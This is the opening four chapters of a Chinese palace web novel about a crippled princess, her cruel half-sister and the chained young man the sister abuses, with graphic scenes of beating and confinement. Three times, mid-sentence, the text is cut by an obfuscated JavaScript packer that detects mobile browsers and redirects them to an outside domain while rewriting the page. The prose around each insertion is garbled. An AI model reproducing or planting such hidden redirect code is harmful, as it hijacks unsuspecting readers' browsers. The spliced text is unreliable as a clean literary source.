《救了被女配虐待的小可怜后gb》 1. 第一章 水是滚烫的。 带着浓郁而苦涩的草药味。 木桶中深褐色的汤药,如一汪死寂的沼泽,在南疆尚算不得和暖的初春天气里,泛着丝丝热气,浸漫过薛筠意白皙的小腿。 女医低头,小心地将少女的腿从桶中抬起。 雪色的肌肤在药中泡得久了,有些发皱,像冬日里皲裂的树皮。 女医眼中便现出了心疼的神色。她谨慎地,用最轻柔的力度,按了按薛筠意的腿筋,低声问道:“公主……可有感觉?” 薛筠意摇了摇头。 仍是两条无知无觉的腿,与数月前初次用这药浴之时,无甚区别。 薛筠意垂眸,任由侍女墨楹为她擦净腿上的药渍,理好她的裙裳。 “撤下去罢。”她淡声吩咐。 两个小太监立刻快步进来,将药桶抬了下去。 “请公主恕臣医术不精之罪。”女医擦了擦额上的汗,窥着薛筠意脸上的神色,委婉说道,“公主所中之毒,实在罕见,毒入骨髓,脉络不通,故双腿失力,无法行步。这药浴活血之法,已经是臣与太医院数位同僚能想到的最好的法子了。恕臣多嘴,公主若想痊愈,怕是……解铃还须系铃人啊。” 话音落,女医便看见那静坐于美人榻上的公主,眸色骤然变得冰冷。 女医自知失言,慌忙闭了嘴,起身收拾了药箱,匆匆告退。 薛筠意的目光,追随着女医离去的背影,不知不觉地落在她矫捷生风的双腿,和如蝴蝶般翩跹晃动的衣摆上。 不过几月的功夫,薛筠意已经快要忘记走路是什么感觉了。 那是新岁刚过的暮冬,凤宁宫里的雪压满了房檐。 皇后久病缠绵,时日无多。太医院的吴院判献上奇药,称能祛皇后之痼疾,只是这药此前尚未有人用过,为保皇后凤体无虞,最好先另寻一人试药。而这试药之人,必得承皇后骨血,为皇后至亲,才能试出其药性是否与皇后体质相克。 身为南疆长公主,皇后唯一的女儿,薛筠意毫不犹豫地喝下了那碗浓苦发黑的汤药。只是她怎么也没想到,一向与她不对付的二公主薛清芷,竟会胆大到在那汤药中做了手脚。 只一夜,她的腿便失了知觉,如同两截腐朽的枯木,再不能挪动。 微冷的春风拂过院中尚未开花的绣球,不知从哪儿跑来一只白兔,在低矮的草叶中蹿来蹿去,活泼得像一缕抓不住的风。 薛筠意慢慢移开视线,唇角轻扯。 解铃还须系铃人? 薛清芷既然敢给她下毒,便是存了让她双腿尽废的心思,又怎会轻易给她解药。 “凝华宫那边,近日可有什么动静?”薛筠意俯身,漫不经心地将鞋面上那一小截微乱的裙摆理平。 墨楹想了想,低声道:“并无什么要紧的事——只是奴婢听说,二公主前些日子不知从哪儿弄来了一名模样俊俏的少年,自那之后,二公主便闭门不出,算起来,也有两月不曾踏出凝华宫了。” “她把本宫害到这般地步,自个儿倒是逍遥快活。”薛筠意微眯起眼,望着窗外飞来飞去叽叽喳喳的小雀儿,“这样好的天,不出去散散心可惜了。墨楹,推本宫去凝华宫。” 困于轮椅上的这些日子,薛筠意倒也并不是一无所获。至少,她学会了平心静气,一切皆淡然处之,不再像双腿刚废的时候,整日崩溃惶然,忿恨不甘。 此前薛清芷不止一次派人来传话请她去凝华宫小叙,其中意味再明显不过,若是薛筠意愿意拿出她想要的东西来换,把解药给她也未尝不可。 只是那时薛筠意满心都是对薛清芷的恨,凝华宫那地方,连远远望一眼她都觉得厌烦至极,又哪里肯踏足。 但如今平静下来,薛筠意想,没有什么比一双健全的腿更重要。 薛清芷想要什么,给她便是。 更何况,自母后薨逝后,这冷寂的皇宫里,早就没有她留恋之物了。 木轮转动,碾过地上的砖石,轻缓地朝凝华宫行去。 墨楹推着轮椅,眉头紧皱。不知是不是她的错觉,这凝华宫的门槛仿佛特意修葺过似的,比之前要高出不少。她停下来,让随行的太监把事先备好的木板仔细垫在门槛前,这样既可免去搬抬轮椅的麻烦,又能让轮椅上的人舒服一些。 薛筠意倚着椅背,随意打量着四周景致,由着墨楹小心地推她往前走。 不过几月而已,凝华宫中的路都换成了鹅卵石铺就的细细弯弯的小路,转角处还设了许多雕栏石柱。从凝华宫门到薛清芷的寝殿,路不算长,墨楹却走得磕磕绊绊,即便已经万般小心了,但她还是看见薛筠意因为身下的颠簸而不舒服地皱了下眉。 墨楹咬着牙,恨恨道:“二公主她分明就是故意为难殿下……” 薛筠意面色平静:“无碍。” 听见院子里的动静,薛清芷身边的大宫女青黛早迎了上来,笑眯眯地朝薛筠意行了礼:“长公主今日怎么得空过来了?您可是稀客呀,奴婢这就进去通传。” 薛筠意只当没听出她话里的阴阳怪气,懒散地“嗯”了声。 青黛惊讶于薛筠意不同于往常的平静,忍不住多看了她几眼,才转身步上台阶,进了内殿。 殿门推开,吱呀一声轻响过后,隐隐传来些不同寻常的声音。 薛筠意眉心轻蹙。 薛清芷喜欢俊秀的少年,是宫中人尽皆知之事。皇帝疼爱薛清芷,对此睁一只眼闭一只眼,向来是由着她胡闹的。听这声音……大约是在临幸哪个近日正得宠的面首吧。 薛筠意不想在这种时候进去见薛清芷,正欲吩咐墨楹推她回去,青黛却已经从殿中走了出来,好整以暇地望着她:“二公主请殿下进去。” 殿中的声响有些刺耳了。 像是铁链撞过床柱,哗啦啦地抖动着,又像是耳光的清响,夹杂着几声少年隐忍的呜咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716017|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从半敞的窗子里,颤颤地传出来。 薛筠意看着那扇露着缝儿的窗,淡声道:“是我来的不巧了。” 青黛笑道:“殿下这是什么话,您与二公主是姐妹,这样的事自然用不着避讳着您。外头风大,您快进去吧,莫让二公主等急了。” 说着,她便往旁边让了让,给薛筠意让出石阶来,却丝毫没有要上前帮忙的意思。 石阶统共三层,算不上高,也不算矮。好在墨楹带着的木板足够长,几个小太监忙活着,顺顺当当地将薛筠意推了进去。 那声音越来越近了。 轮椅缓缓前行,在内殿的门槛前停下。 “哭什么?本公主对你已经够心慈手软了,你最好听话些,莫要再惹本公主生气。”薛清芷不耐烦的声音在偌大的寝殿中悠悠回荡。 接着便是鞭子落在皮肉上的脆响,薛筠意清晰地听见了几声少年极低的抽噎声,他像是怕极了,想哭又不敢哭,只能生生地将那小得可怜的声音忍回去。 薛筠意皱眉,不明白薛清芷为何要在这样的时候还叫她进来。 是为了讥讽她这双残废的腿,不能如她这般肆意纵欢享乐吗? 薛筠意强忍下心底对这地方的厌恶,垂眸看着墨楹俯身再将那块木板铺在脚下,推着她继续往前走。 衔环银炉里燃着鹅梨香。 香气氤氲,四散在青纱软帐之中,落在少年白皙的腰间。 薛筠意抬眸,便看见凌乱半敞的床帐中,少年伏身跪在榻上,那截过分纤瘦的细腰,在哀哀地颤抖。 薛筠意搭在轮椅扶手上的手不觉微微攥紧,分神的间隙,她已行过门槛,墨楹一时没收住力气,木轮跌坠在地,不轻不重地颠簸了下,发出沉闷的响声。 刹那间,少年如受了莫大的惊吓般,身子蓦地僵住,他惊惧地抬眸,一双碎玉般的眼,颤颤地撞进薛筠意清冷的眸子。 薛筠意微怔。 那是一双极好看的眼睛,此刻却浸满了恐惧和慌乱,少年显然是没想到会有旁人进来,难堪而绝望地咬紧了唇。偏这时薛清芷不耐烦地踹了他一脚,少年便如破布般从床榻上摔了下去,重重跌落在地。 薛筠意下意识地抬手,及时让墨楹将轮椅停下,没让木轮碾伤少年的手指。 她低头看去,见那少年弓着背蜷缩成一团,身上只被允许穿了一件薄如蝉翼的纱衣,好像故意要将那些纵横交错的鞭痕露出来给人看似的。清瘦脊背上渗出的血珠将那层轻纱染上薄红,如艳艳的梅花,无声落了他满身。 薛筠意看得直皱眉,薛清芷不是一向很疼她宫里那些侍奉的人吗?为何偏偏对这少年如此残忍? “教了多少遍还是学不会伺候人,真是没用的贱骨头。” 薛清芷已经穿好了衣裳,一面掀开床帐,一面漫不经心地踩了踩少年的脸。 “没看见长公主来了吗?还不快滚起来,给长公主问安。” 2. 第二章 邬琅顾不得身上的痛楚,一刻都不敢懈怠,踉踉跄跄地从地上爬起来,惶恐地朝薛筠意磕头:“贱奴给长公主请安。” 少年的声音是麻木的,那是经历了长久的折磨而教出来的乖顺与服从,哪怕他并不曾见过薛筠意,并不知晓她的身份,只是凭借着本能,顺着薛清芷的命令,唤她长公主。 “起来吧。” 薛筠意瞥了眼少年颈间的玄铁链,那是天牢里关押死刑犯才用的东西,沉甸甸地坠在那具过分单薄的身子上,压得他连起身都十分费力。 这便是薛清芷从宫外带回来的那个少年吗? 既然带回了宫中,想来应是极喜欢他的。又为何要这般苛待他? 薛筠意晃神的功夫,邬琅已经抬起了脸。薄雪般的天光从薛筠意身后微敞的雕窗中透进来,落在她乌鬓间素净的银簪上,再水珠儿似的淌下。 四目相对,邬琅呼吸倏滞。 她穿一身极朴素的裙裳,颜色是孝衣一样的白,连那双眸子也跟沁了雪似的晶莹明澈,映出他一身的狼狈与不堪。 邬琅下意识地低下了头,不敢再多看。 薛筠意眉心轻蹙,抬眸看向薛清芷:“他犯了什么错?” 薛清芷哂笑一声:“皇姐自个儿都这副模样了,还有闲心可怜别人啊。” 她慢悠悠地朝薛筠意走过来,见邬琅跪在那儿挡了路,不由皱了皱眉,粗.暴地扯起邬琅颈间的铁链,将他拖拽到一旁。 薛筠意眼看着少年白皙修长的脖颈被粗粝的铁索磨出一道深红的血痕,他垂眸跪着,连出声都不敢,只是隐忍地将疼痛和屈辱都咽进喉咙里。 薛筠意攥紧了轮椅扶手,好半晌才将视线从邬琅身上移开。 薛清芷懒洋洋地开口道:“皇姐难得来我这儿坐坐,可别让这贱奴扰了兴致。青黛,将昨日父皇新赏的翠雪青沏些来,好好招待皇姐。” “不必了。”薛筠意淡声,“你也知道我今日是为了解药而来,不妨痛快些。” “皇姐想通了?”薛清芷故作惊诧,“我还以为,皇姐甘心做一辈子的废人呢。” 薛筠意眸色微冷。 薛清芷无辜地耸了耸肩:“皇姐也别怨我。谁让皇姐本事那么大——朝中不知多少臣子都一心向着皇姐,劝父皇早些立皇姐为皇太女呢。只有皇姐成了废人,这皇太女的位子才会属于我,皇姐说是不是?” 她指尖不紧不慢地抚过檀木扶手,轻点在薛筠意的膝上,惋惜似的啧了声。 “南疆宗律有言,身有残缺,是为不吉,无以承继国本。但到底姐妹一场,我也不忍心看着皇姐一辈子都待在这轮椅上头。”薛清芷直起身,意味深长地勾了勾唇,“皇姐还不知道吧?父皇前些日子已与母妃商议过,决意赐封我为安阳公主,在我生辰那日行册封礼。我知皇姐极擅丹青,不如就请皇姐为我作一幅画像,以贺我册封之喜,如何?待册封礼毕,我自会把解药拿给皇姐。” 薛清芷话里的炫耀之意,薛筠意自然明白,她身为长公主尚且未得封号,足以见得皇帝对薛清芷和江贵妃的看重。不过这些年,薛筠意早已习惯了皇帝的偏心,对此并不在意。 至于作画—— 她自幼随御用画师冯宪之习画,十四岁那年便凭一幅雁归图名动京城,生平从未夸过人的冯宪之抚着花白的胡须,盛赞她“妙手绘丹青,纤毫现山河”。 一幅画像而已,于薛筠意而言根本费不了多少功夫。 可她也有她的傲骨,她所作之画,从来只赠亲近之人。 “怎么,皇姐不愿意?”薛清芷似乎早就料到了薛筠意的犹豫,不由揶揄道,“我知皇姐一向清傲,不肯轻易赠画,可皇姐如今双腿已废,也就只剩下这双手还有些用处了。皇姐说是不是?” 一旁的墨楹气得攥紧了拳头:“二公主,请你对殿下尊重些!” “墨楹。” 薛筠意摇了摇头,示意墨楹不必多说。她平静地迎上薛清芷戏谑的目光,淡声道:“我答应你。” 她何尝不知薛清芷是故意折辱她,可她的傲骨,早在她身子残废的那一日,便该一同折断了。 一个连站都站不起来的人,脊梁挺得再直,又有何用呢? “那就请皇姐明日巳时来我宫中,我自会为皇姐备好笔墨。”薛清芷笑盈盈地说道。 薛筠意嗯了声,吩咐墨楹推她回去。 香炉里的鹅梨香有些浓,熏得薛筠意喉咙发呛。 轮椅行过门槛,她掩唇轻咳一声,忽而心念微动,忍不住回过头,多看了邬琅几眼。 少年仍旧低头跪着,纤细的脖颈弯成脆弱的弧度,墨发凌乱披散在肩头,衬得整个人愈发清瘦。 薛筠意不由又想起了少年那双含着惊惧的眼睛,恍惚间,忽觉似曾相识。 惊觉她的双腿失去知觉的那一刻,她惶然抬起脸,彼时铜镜中映出的,也是这样一双满是惊惶的眸子。 “殿下,您当真要为二公主作画?瞧二公主那副样子,定然没安什么好心,您可要小心些才好。” 墨楹担忧的声音打断了薛筠意的思绪。她收回视线,微闭起眼,感受着身下的轮椅缓慢地轧过垫在石阶上的木板,再轻轻地碰上铺满石子儿的小路。 “一幅画罢了,不必与她计较。” 墨楹急切道:“可是以二公主的性子,未必真愿意把解药给殿下。” “无妨。我心中有数。” 见薛筠意似乎不愿过多谈论此事,墨楹只好闭了嘴,默默地推着她往前走。 薛筠意闭目养神了半晌,忽然开口道:“去查一查,方才伺候薛清芷的那个少年,是何身份。” 墨楹愣了下,才应道:“是,奴婢这就去办。” * 银炉中熏香未绝。 甜腻的梨子香吞入喉咙,混着血的腥甜,令邬琅眼前阵阵发黑。 他仰着脸,白皙的面颊因窒息而憋得通红,清冽的乌眸里写满了无声的哀求,却始终没能得到一丁点的怜悯。 薛清芷一只手牢牢掐着邬琅的喉咙,居高临下地睨着他。 染着大红蔻丹的指甲尖利地戳进皮肉里,渗出花瓣似的血珠。她饶有兴致地欣赏着邬琅在她手中痛苦颤抖的模样,愉悦地弯了弯唇,在邬琅快要昏死过去的时候,才终于大发慈悲地放开了手。 踢了踢瘫软在地上大口大口喘息的少年,薛清芷俯身捏住他的下颌,指腹碾过他发白干涩的唇珠,漫不经心地把玩着。 “皇姐生得好看,你很喜欢她,是不是?”她语气难得温柔,似在耐心诱哄。 少年却怕得更厉害了,生怕说错了话惹薛清芷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716018|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不高兴,只能拼命地摇头。 “别以为本宫不知道。方才,你可是看了皇姐好几眼呢。”薛清芷指尖用力,将邬琅苍白的唇瓣掐出一道绯红的痕。 “贱奴不敢……” 邬琅剧烈地咳嗽了几声,声音嘶哑得厉害。 啪。 一个清脆的耳光甩在了邬琅脸上。 少年被打得偏过脸去,却不敢躲,他小心翼翼地将那泛起鲜红掌印的半边脸颊送回薛清芷手边,想以此换来她的宽恕,哪怕他根本没有做错什么。 薛清芷看着乌琅眸中讨好的神情,轻蔑地嗤了声。 当初对她不假辞色的清冷少年,如今还不是乖乖地臣服在她膝下,成了她脚边低贱的玩物。 薛清芷拍了拍邬琅的脸,这不经意的动作已经将少年吓得不轻,她却笑了起来,声音愈发温柔:“不可以喜欢皇姐,记住了吗?” 从记事起,薛清芷就知道她有个样样出色的皇姐,在她还只能跟着先生学诗的时候,薛筠意已经能背经史,作文章,琴棋书画,诗词歌赋,无一不精。她脑子笨,一篇不过百余字的平阳赋都要读上十来遍才能磕磕绊绊地背出来,而薛筠意却天资聪颖,过目不忘,常得先生夸赞。 若她能在别处比得过薛筠意倒也罢了—— 可偏偏薛筠意承了姜皇后的模样,出落得雪肤花貌,容色倾城,若要比容貌,她更是不及薛筠意半分。 薛清芷清楚地知道,她样样都比不上薛筠意,所以她断断无法容忍,曾经拒绝过她的邬琅,目光在薛筠意身上停留。 哪怕只有半刻,都令她心中的妒嫉无端疯涨。 “贱奴记住了。” 邬琅不敢不应,他很清楚违逆薛清芷的后果,这位跋扈惯了的二公主若真生起气来,只消一句话就能要了他的性命。 邬琅垂着眸,脑海中不自觉地浮现出薛筠意的脸。不过匆匆一瞥,他却已经将薛筠意的模样记得深刻,只因那身雪色的素衣,和这座富丽堂皇的宫殿格格不入,仿佛那莲花座上的观音,不染半分世俗纤尘。 颈间的铁链突然被拽动,邬琅不敢再多想,低头跟在薛清芷身后,踉跄膝行着往前爬去。 当薛清芷在博古架前停下脚步时,邬琅身子顿时一僵,巨大的恐惧涌上心头,他慌乱地扯住了薛清芷的裙角,脸上早已血色尽失。 “求您……求您宽恕贱奴这一回,贱奴会听话的……” 薛清芷温柔地摸了摸邬琅的头,说出口的话却令人脊背发凉:“犯了错,自然要罚一罚。若再有下次,本宫就挖了你这双眼睛。” 她幽幽叹了口气,似在替邬琅惋惜,又似在自言自语:“你说,本宫究竟哪里比不上皇姐?当初,你可是连多看本宫一眼都不肯啊。” “那是、那是贱奴不知公主身份……” 邬琅想辩解几句,薛清芷却根本不想听他多话,径自将他拖拽到博古架前,伸手转动了机关。 暗门缓缓推开,露出石墙后狭小逼仄的暗室。 痛苦的记忆瞬间涌入脑海,邬琅浑身发抖,近乎祈求地望着薛清芷,少年修长的手指死死攥着薛清芷的裙角,仿佛那是他能抓住的唯一一根救命稻草。 薛清芷失了耐心,用力甩开邬琅的手,冷声命令:“乖乖爬进去,本宫不想与一条狗浪费口舌。” 3. 第三章 邬琅咬起唇,不敢再求饶了。 他很轻很轻地应了声是,认命般低下头,缓缓地爬进了那间阴冷的暗室。 石门在邬琅眼前关上,冷漠地将光亮隔绝,只剩下无边无际的黑暗。 周遭倏然静寂,连呼吸都清晰可闻。 邬琅小心翼翼地挪动膝盖,努力不让身上的铁链发出声音。他摸索着爬到墙角,跪着蜷缩在角落里的干草旁,这是他唯一可以用来取暖的东西了。 他很冷,很疼。 凉丝丝的水珠从墙缝里渗出来,啪嗒啪嗒地砸在伤口上,邬琅指尖死死抠着石地,却只敢轻轻地喘息,沉默地忍受着一阵又一阵难挨的痛苦。 这不是邬琅第一次被关进这里。 有时是一两个时辰,有时是一整夜。若是薛清芷不高兴,关上两日也是有的。 没有吃食,没有水。没有光亮。 他只能在快要令他窒息的黑暗里,怀着一点绝望的希冀,期盼着薛清芷何时能想起他来,大发慈悲地放他出去。 邬琅垂下眼,他不知道这次薛清芷会罚他多久,或许他会被遗忘在这里,如蝼蚁般卑贱地死去。 神思恍惚中,邬琅想起他挨罚的缘由—— 那位坐在轮椅上的长公主。 邬琅在一片望不到头的黑暗中重又勾勒着薛筠意的模样,柔软的雪缎自少女膝上折落,无声地掩着她的残缺,他目光下意识地上移,便望进那双清白的眸子里,竟在其中,看到了一点怜悯的神色。 那是他从来不敢奢望的东西。 * 青梧宫。 “殿下,奴婢查清了。”墨楹快步走进寝殿,低声向薛筠意禀话。 薛筠意便放下了手中的书册,抬眸看向墨楹。 “奴婢查了才知道,那少年竟是邬家的二公子,名叫邬琅。” 墨楹话里颇有几分气愤,倒豆子般地将查到的事一五一十地讲给了薛筠意听:“那日二公主出宫散心,偶然在一间书铺里遇见邬琅,一眼便相中了他,当即便邀邬琅陪她一同游湖赏景。邬琅不知二公主身份,偏又是个性子清傲的,竟当着许多人的面拒绝了二公主。二公主的性子您也是知道的,她在宫中向来是要风得风要雨得雨,哪里受过这样的屈辱,气得险些将那铺子砸了,回宫后更是发了好大的脾气。邬老爷子听说后,生怕二公主动怒牵连邬家,当晚就惶恐地押着邬琅进了宫,将他献给了二公主。” 说到此处,墨楹不由叹了口气:“他也是可怜,生母只是个低贱的爬床丫头,生下他后便被邬老爷子作弄得没了性命。邬家上下,没一个把他当人看的,平日里变着法地作践他,那日去书铺,竟还是趁着管事不在偷偷跑出去的。这邬家二公子,只不过是空有名头罢了。” 薛筠意眉心轻蹙,怪不得薛清芷那般对待邬琅,原是因着这层缘故。 宫中人人都知道薛清芷的生母江贵妃是当今皇帝心尖上的人,皇帝爱屋及乌,自然也偏宠着她。这些年,薛清芷嚣张跋扈惯了,她想要什么得不到?便是要天上的月亮,皇帝也会命人想法子给她弄来,哪里尝过被人拒绝的滋味。 可邬琅又做错了什么呢? 想起少年那双满含惊惧的乌眸,薛筠意心中有些不忍,良久,她低下头,将视线重新落回那册乏味的史书上。 “去将书房里的笔墨收拾一下,明日带去凝华宫。” 她自身尚且处在这般境地,又哪里有心思去可怜旁人啊。 * 翌日。 青黛早早就候在了薛清芷的寝殿门口,见墨楹推着轮椅过来,她不紧不慢地朝薛筠意行了一礼,笑眯眯地道:“奴婢还以为殿下腿脚不便,会来得迟一些呢,不想殿下竟这样守时。” 墨楹恶狠狠地瞪了青黛一眼。 薛筠意神色平淡,仿佛根本没把她的话听进耳中。 青黛脸上便有些讪讪的,识趣地往一旁退了些,给薛筠意让出路来。 殿中熏香呛鼻。 轮椅缓行向前,那味道便愈发浓烈。 薛筠意蹙起眉,一抬眸,便看见拔步床边衣衫散落,上好的浮月纱被扯得软绵凌乱,像湿透了的胭脂,颓靡而浪荡。 几名容貌俊秀的少年正赤着上身,服侍着薛清芷穿上鞋袜。 薛筠意的目光不经意地掠过那几名少年的脸。 没有邬琅。 她眼瞧着薛清芷懒懒地打了个哈欠,才不紧不慢地站起身来,一个长相妖冶的少年随之从地上起身,动作轻柔地将薛清芷发间歪了的珠钗取下来,不多时便重新挽了个齐整的发髻,再小心地将珠钗簪回原处。 手法娴熟,显然是精心练习过的。 薛清芷被伺候得十分满意,偏过头在少年脸上亲了一口,心情颇好地吩咐:“阿萧昨夜累了,下去歇着吧。” “能伺候公主是阿萧的福气,阿萧不累。” 被唤作阿萧的少年低垂着眉眼,语气温柔。 薛清芷又与阿萧缠绵了好一阵,才懒散地朝薛筠意看过来。 “今早起得晚了些,让皇姐久等了。”她瞥了眼薛筠意身下的轮椅,好心道,“皇姐不便走动,我就不带皇姐去书房了,就在这儿画吧。” 青黛早从外头走了进来,引着薛筠意往里去。 绣着山水花鸟的屏风后,摆着一张宽敞的八角红檀长桌。一旁的博古架上摆着各式各样的玉雕摆件,还有许多新奇的小玩意儿,皆是皇帝所赐,样样价值不菲。 墨楹将薛筠意推至桌案旁,忍不住在心里抱怨起皇帝的偏心。 皇帝不喜皇后,连带着待殿下也冷落许多。殿下贵为长公主,宫中却冷清寥落,哪里比得上这凝华宫奢靡富贵。 薛筠意并未在意这些,只是吩咐墨楹将桌上的纸笔等物撤下去,换上她平时惯用的那一套。 薛清芷看在眼中,笑了下:“是我疏忽了,皇姐一向讲究,自然瞧不上我准备的东西。” “平日用惯了,突然换了旁的,怕会手生。”薛筠意神色自若地将雪色的生宣慢慢铺展开来,“妹妹坐好,切勿乱动。” 薛清芷一噎,不大高兴地哼了声,吩咐一旁侍候的几名少年将椅子抬过来。 阿萧扶着薛清芷坐下,体贴地为她揉捏起肩膀。 枯坐无趣,薛清芷便点了一个唇红齿白的少年,拿了话本子念给她听。 少年名叫解安,模样在一众面首里虽算不得出众,却有一把勾人的好嗓子,话本子里的对白经了他的嗓子一念,便骤然生动起来,仿佛就在眼皮子底下演着似的。 作画最忌分神。薛筠意笔尖微顿,瞥了薛清芷一眼。 薛清芷眨眨眼,很是无辜:“怎么了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716019|173712||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>薛筠意:“太吵。” “这点声音皇姐就听不得了?”薛清芷笑,“看来皇姐,心不静啊。” “若是不小心把妹妹画成了丑八怪,还望妹妹莫怪。”纤细笔锋染上淡墨,薛筠意落了笔,没再理会薛清芷。 薛清芷有些不悦,到底还是摆了摆手,让解安退下了。 难得薛筠意肯答应为她作画,她也不想薛筠意因为话本子而分了神,画毁了她的脸。 周遭安静下来。 只在薛筠意看不到的地方,隐约有些许微弱的声响。 啪嗒。 水珠砸在少年俊秀的鼻梁上,沁着森冷的寒意,刀子似的,割过他干涩的唇瓣。 邬琅缓缓睁开眼。 他是被什么声音叫醒的—— 不是薛清芷的声音,却又有些耳熟。 隔着博古架,隔着厚重的石墙,风一样地,温柔地吹进来。 意识回笼,疼痛便紧随其后,残忍地折磨着少年过分瘦削的身体。 邬琅额上沁出冷汗。 他不知道外头过去了多少个时辰,或许已经是深夜,薛清芷应当在和那些面首们饮酒作乐,大约不会想起他来。 又或许天已大亮,日光透过窗子,暖洋洋地洒了满殿,却永远不会照到他的身上。 没有上药的伤口针扎一样地疼,邬琅咬着唇,本能地挪动膝盖,想换个稍微舒服些的姿势继续跪着,却不小心碰到了堆落在腿边的铁链。 哗啦—— 刺耳的一声响,令邬琅瞬间清醒。 受罚时是不被允许发出一丁点声音的。 哪怕只是呼吸,都是薛清芷施舍的恩赐。 邬琅绝望地闭上了眼,不敢去想惊扰薛清芷的后果,他不是没受过她罚人的手段,随便一样,都能将他这副破烂不堪的身子玩坏。 突如其来的声响令薛筠意手腕抖了抖,险些画歪了关键的一笔。她顿了顿,下意识地看向了身旁的博古架,那声音,显然是从木架后头传出来的。 薛清芷自然也听到了,不由皱了眉道:“这下贱的东西,挨了罚还不老实,竟敢惊扰皇姐作画。” 说着,她便扶着阿萧的手站起身,走到博古架前,伸手将摆在最上层的白兔玉雕扭了个方向。 吱呀一声,机关转动。 暗门悠悠打开,薛筠意一眼便看见了蜷缩在墙角的邬琅,少年浑身都是斑驳的血迹,清俊的面颊上落着水渍,泪珠儿似的。 在黑暗中待得太久了,刺目的日光晃进邬琅的眼睛,令他有片刻的失明,他什么都看不见,只听见薛清芷不耐烦地命令:“滚出来。” 话音刚落,薛筠意眼看着那眼盲了的少年,一刻都不敢磨蹭,惶恐地,摸索着往前爬去。 她攥紧了手中的笔,心里说不清是什么滋味。 指尖好像触到了什么东西,像沾了些泥土的木头,邬琅顿了顿,后知后觉反应过来,这是薛筠意的轮椅。 他慌忙后退了些,逐渐清明的视线里,映出薛筠意的脸。 她望着他,眉眼恬淡,宛如观音垂目。 想起薛清芷昨日的警告,邬琅连忙低下头,不敢再多看一眼,他拖动麻木的膝盖朝一旁的薛清芷爬过去,额头卑微地磕在她鞋尖前的地板上。 “贱奴惊扰公主安歇,请公主责罚。” 4. 第四章 薛清芷冷眼看着跪伏在面前的少年,毫不留情地抬脚踩上他的头:“连规矩都敢忘,看来是本宫罚你罚得还不够。” 邬琅疼得闷哼一声,薛清芷犹嫌不够,脚尖勾着邬琅下颌,迫使他偏过脸来,狠狠踩了上去。 少年俊秀的脸颊被毫不留情地碾踩在脚下,几乎变了形,很快就染上了灰扑扑的鞋印子,瞧着狼狈又可怜。 薛筠意看不下去,蹙眉道:“他并未做错什么。” “皇姐作画不喜吵闹,这贱奴出声惊扰皇姐,自该重罚。”薛清芷挑眉,一面说着,一面慢悠悠地加重了脚下的力道。 邬琅承受不住,眼眶都泛了红,他并不知道薛筠意在此作画,可薛清芷若是想罚他,自然有千百种理由,即便今日薛筠意不在,这顿罚也是逃不过的。 他从来都没有辩驳的资格,只能沉默地顺从。 薛筠意目光扫过邬琅颤抖的脊背,“是我自己分了神,与他无关。” 薛清芷闻言,意味深长地看了薛筠意几眼,好半晌,才不紧不慢地收回脚,踢了踢仍伏在地上不敢抬头的少年。 “既然皇姐为你求情,那本宫便宽恕你这回。过来伺候吧。” 薛清芷坐回宽椅里,随手接过阿萧奉上的茶盏,低头抿了口温热的清茶。 抬眼时便见邬琅驯服地跪行至她脚边,铁链拖过地板,发出沉闷的声响。许是跪久了的缘故,少年膝上渗出零星血痕,透过雪色的薄纱,格外醒目。 薛清芷嗤了声,并未打算就此放过这可怜的少年,她朝身旁的阿萧扬了扬下颌,阿萧会意,便端起小桌上摆着的果盘,递到邬琅手里。 “别想偷懒,好好伺候公主。” 白底蓝釉的瓷碟里盛着几颗紫莹莹的葡萄。眼下并非葡萄成熟的季节,这些珍贵的果子,是皇帝特意派人从百里之外的清州采摘而来,再快马加鞭运到宫中的。 京都冷寒,清州却温暖湿润,盛产瓜果。皇帝如此大费周章,不过是为了能讨几分贵妃的欢心,薛清芷身为贵妃之女,自然也跟着沾了光。 邬琅垂眸跪着,双手捧着碟子,高高举到薛清芷的手边。 那瓷碟极浅,稍有不稳,圆溜溜的葡萄粒便会不听话地滚到地上去。邬琅一动不敢动,任由单薄的衣袖滑落至臂弯,露出紧绷的小臂。 他已经一天一夜没有吃东西了。腹中空空如也,眼前一阵阵地晕眩。 邬琅几乎将嘴唇咬破,才勉强唤回快要涣散的神智,没让自己在薛清芷面前昏倒。 若是打碎了手中的碟子,邬琅毫不怀疑,薛清芷会粗.暴地扯着他颈间的铁链,怒声命令他跪到那些锋利的碎瓷片上去,好好反省他的过错。 殿中静得落针可闻。 时间无声流逝,轻巧的葡萄果儿慢慢变得沉重,如有千斤,压得少年的小臂无声颤抖。 邬琅额上沁出汗珠,他咬紧了牙,恍惚间,隐约听见身旁传来阿萧的一声低笑。 